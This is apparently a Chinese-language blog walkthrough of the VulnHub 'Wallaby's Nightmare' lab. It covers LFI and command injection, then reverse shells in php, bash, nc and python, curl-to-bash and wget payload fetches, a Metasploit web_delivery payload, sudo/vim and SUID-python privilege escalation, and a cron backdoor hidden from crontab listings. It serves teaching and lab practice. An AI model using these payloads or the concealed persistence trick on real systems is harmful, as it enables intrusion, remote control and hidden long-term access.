靶机下载地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
教程链接地址:https://blog.csdn.net/qq_34801745/article/details/104095029

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 WALLABY:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  2. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描

1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.107 --excludefile myip.txt
Image

-> 目标机器的 ip 地址: 192.168.31.5

  1. 确认靶机 ip 开放的端口信息

sudo nmap -A -p- 192.168.31.15 -oN /tmp/wallaby.txt

Image

-> 靶机开放端口 22, 80, 6667

# LFI 漏洞测试

  1. 打开 http://192.168.31.5/ 进行信息收集
Image

输入名字并登陆此网站

Image

观察 url 地址,发现存在 lfi 本地文件包含漏洞

直接构造 http://192.168.31.5/?page=/etc/passwd

访问 http://192.168.31.5/?page=/etc/sudoers 发现对方管理员检测到了 lfi 攻击

Image

重新访问 http://192.168.31.5/ 发现网站已经挂掉了

Image

-> 80 端口被关闭,网站已被注销,重新尝试端口扫描

# 60080 网站信息收集

重新扫描端口,发现 80 被关闭,新开了一个 60080 端口网站
http://192.168.31.5:60080/ 渗透测试

Image

发现此端口确实存在网站,目标转为对此网站的分析

目录爆破,收集更多的目录信息

1
2
dirsearch -u http://192.168.31.5:60080/
gobuster dir -u http://192.168.31.5:60080/ - w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html
Image

并没有发现任何有价值的信息

# dirb 目录扫描

仔细回想之前的操作,在 80 端口对网站渗透时,发现了 lfi 漏洞
是在 http://192.168.31.5/?page=home 上的,尝试访问 http://192.168.31.5:60080/?page=home 仍存在 lfi 漏洞

http://192.168.31.5:60080/?page=/etc/sudoers

Image

使用 dirb 对 http://192.168.31.5:60080/?page= 目录进行扫描

1
2
# dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。
dirb http://192.168.31.5:60080/index.php?page=
Image

-> 敏感网址:http://192.168.31.5:60080/index.php?page=mailer

将这些文件访问了一遍之后,发现此网站是唯一可能存在漏洞的目标

Image

检查源代码,发现这里有一个 rce 漏洞

http://192.168.31.5:60080/index.php?page=mailer&mail=mail
http://192.168.31.5:60080/index.php?page=mailer&mail=ls

Image

# php/curl/bash/nc 反弹

判断目标服务器上是否存在相关的命令
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20curl
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20python
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20php
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20nc

也可以直接一句话判断所有的信息:
http://192.168.31.5:60080/index.php?page=mailer&mail=which curl;which php;which python;which bash;

Image
1
2
3
4
5
6
# 根据收集到的服务器上的信息进行反弹shell
php -r '$sock=fsockopen("192.168.31.135",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
curl http://www.chentuo.asia/shell.sh | bash (success)
bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
bash -i >& /dev/tcp/192.168.31.135/4445 0>&1
nc 192.168.31.135 4444 -e /bin/bash

# kali php 木马反弹

1
2
3
4
5
6
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vim shell.php 将默认端口改为kali的ip和端口号
python 3 -m http.server 80

# 构造如下url执行php
http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://192.168.31.135/shell.php;%20chmod%20777%20shell.php;%20ls%20-al

1
2
3
4
5
6
# 也可以将shell.php发送到有公网ip的网站上让目标机器去访问远程url地址上的payload并反弹shell
scp -P 2121 shell.php root@1.117.52.219:/data/wwwroot/www.chentuo.asia/shell.php

# 构造如下url执行php
http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://www.chentuo.asia/shell.php;%20chmod%20777%20shell.php;%20ls%20-al

上述的方法下载下来的 shell.php 是空文件,默认不允许下载此类文件

1
2
3
4
5
# 在服务器上操作 cp shell.php shell.txt,下载后重命名即可,构造如下url执行php
http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://www.chentuo.asia/shell.txt;mv%20shell.txt%20shell.php%20chmod%20777%20shell.php;%20ls%20-al

# 监听本地的 4444 端口,并且同时运行此shell.php文件
[http://192.168.31.5:60080/shell.php](http://192.168.31.5:60080/shell.php)

# python 反弹 shell

1
2
3
4
5
6
7
8
# python 反弹shell代码
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.135 ",4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# 构造地址
http://192.168.31.5:60080/index.php?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;%20s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.31.135%22,4444));%20os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

如果页面有 html 限制,在审查元素中修改即可

# msf 生成 php 反弹

1
2
3
4
5
6
7
8
9
10
11
# msf生成php木马
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.31.135
set lport 4444
run

# 将msf生成的php反弹shell的代码直接粘贴在url地址上即可
http://192.168.31.5:60080/index.php?page=mailer&mail=php%20-d%20allow_url_fopen=true%20-
r%20%22eval(file_get_contents(%27http://192.168.31.135:8080/Dk00YRQ%27,%20false,%20stream_context_create([%27ssl%27=%3E[%27verify_peer%27=%3Efalse,%27verify_peer_name%27=%3Efalse]])));%22

在此阶段,不要退出 msf,只要 msf 在线,生成的 php 代码运行之后,msf 就会接收到 sessions

Image

# stty 异常处理

注意使用 msf 的时候如果也用了 stty 会出现下面这个问题

1
2
3
4
即enter键被转化为了^M 此时再输入任何命令都无法执行了
哪怕重启msf也无效,这里需要先退出msf,并执行stty sane,可将问题解决
命令sane最常出现在大多数终端的stty选项的集合中,它并不改变通信信道
的速率,但当终端发生混乱时,通常能够产生有益的效果。

# 权限移到另一 shell

1
2
3
4
5
6
7
8
9
# 当前终端:
python3 -c "import pty;pty.spawn('/bin/bash')"
bash -i >& /dev/tcp/192.168.31.135/4445 0>&1
nc - lvvp 4445

# 新的终端:
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo;fg
export TERM=xterm
Image

# sudo (vim) 提权

1
2
3
4
sudo -l 发现使用waldo执行vim可以免密
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
esc --> :!/bin/bash
esc --> :!bash -i >& /dev/tcp/192.168.31.135/4447 0>&1 可拿到反弹shell

Image

# 脏牛提权

1
2
3
4
5
wget https://github.com/firefart/dirtycow/archive/refs/heads/master.zip
scp -r parallels@192.168.31.135:~/Desktop/tool/dirtycow/dirtycow-master /tmp
cd dirtycow-master
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
Image 服务器崩溃,提权失败,需要重启服务器

# issri 攻击 irc

  1. 修改防火墙规则,允许链接 irc
    在 www-data 用户的时候,发现可以直接调用 root 改变 iptables
1
2
3
4
5
6
7
8
9
10
11
# 查看当前的防火墙规则
sudo iptables -L

同由于它是一个易受攻击的机器,我们看到我们从外部发送到irc的包通过使,用授予所有用户的管理 iptables 的权限被丢弃,我们删除了这个丢弃规则。

# 重写第二条规则以允许端口 6667 上的 TCP 连接
sudo iptables -R INPUT 2 -p tcp --dport 6667 -j ACCEPT
sudo iptables -L

而在nmap扫描端口时也出现了 6667 irc服务
改变iptables之后我们可以通过irssi连接到irc
Image
  1. issri 连接至 irc
    irssi -c 192.168.31.5 -p 6667 列出频道 /list
    Image

  2. 加入了 wallabyschat 频道 /join #wallabyschat

  3. 列出选项 .help

  4. 查看私密信息 /window 3

  5. 看到 run 似乎有用,返回 /window 2, 执行 run

只有 waldo 才能执行,我们换名字 /nick waldo
此时更名不成功,因为正有 waldo 用户的进程 tmux 使用着

  1. 伪造身份登陆 irssi
1
2
3
通过sudo -l中的vim权限设置错误提升权限
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
esc --> :!/bin/bash 提权至waldo权限
Image
1
2
3
4
这里有一个irssi.sh的文件,会以waldo的身份运行shell
他的设置有问题。如果 Tmux 宕机,他的 IRC 连接也会宕机。
pkill tmux
who
Image
  1. 在 irssi 中修改别名为 waldo:/nick waldo
    Image

  2. 现在我们用 waldo 身份来运行 run 看会有什么效果

# SUID python 提权

可以看到的是,我们用 run 执行命令的时候调用的是 wallabyshot 的身份
我们可以构造 payload 尝试将 wallabyshot 身份的 shell 反弹出来

1
2
# 这是一个python反弹shell的代码,尝试运行
.run python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.135 ",4448));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

作为 waldo,我运行 .run 并从机器人收到 FileNotFound 错误。

1
FileNotFoundError: [Errno 2] No such file or directory: 'None' (file "/usr/lib/python3.5/subprocess.py", line 1551, in _execute_child)

adm 组确实看起来很有希望。由于 .run 需要一个文件,因此我创建了一个包含以下内容的文件:

1
2
3
4
5
6
#!/bin/bash
sudo -l

# 利用具有s权限的python进行提权, 修改下一个脚本以将 suid 位应用于 python 可执行文件:
#!/bin/bash
sudo chmod 4777 /usr/bin/python2.7

通过 irssi 执行此脚本,将 python2.7 添加上 SUID 权限
Image

此后可以退出 irssi 了 /quit

1
2
ls - al /usr/bin/python2.7
python -c "import os; os.setuid(0); os.system('/bin/bash')"
Image

提权成功拿到了 root 权限

# 隐蔽 cron 权限维持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查看当前计划任务有哪些 
crontab -l

cat > /root/.first.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/192.168.31.135/4444 0>&1
EOF

cat > /root/.second.sh << EOF
(crontab -l;printf "*/1 * * * * /root/.first.sh;\rno crontab for `whoami`%100c\n")|crontab -
EOF
# */1 * * * *:每隔 1 分钟执行一次;
# /r:cat默认支持 \r 回车符 \n 换行符 \f 换页符这些符号,会导致显示截断隐藏命令,隐藏真实的计划任务;
# %100c:格式化输出一个字符,前面 99 个空格补齐。使用空格帮助我们把前面的内容在 crontab 中遮盖掉;
# 如果想让创建的文件隐蔽性更强,可以创建名为".."、“...”或以..等开头的文件。

chmod 777 .first.sh
chmod 777 .second.sh
/root/.second.sh
Image
1
2
3
# 如果发现无法运行,可以通过下列两个命令查看详细计划任务
cat /var/spool/cron/crontabs/root -A
crontab -e 或者 vi /etc/crontab
1
2
3
4
5
6
# 在kali机器上监听 4444 端口,每隔一分钟收到将会一次shell
nc - lvvp 4444

# 执行一下命令产生一个标准的shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo;
Image

-> 只要开启 kali 的 4444 端口,很快就会收到 root 账户的 shell

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝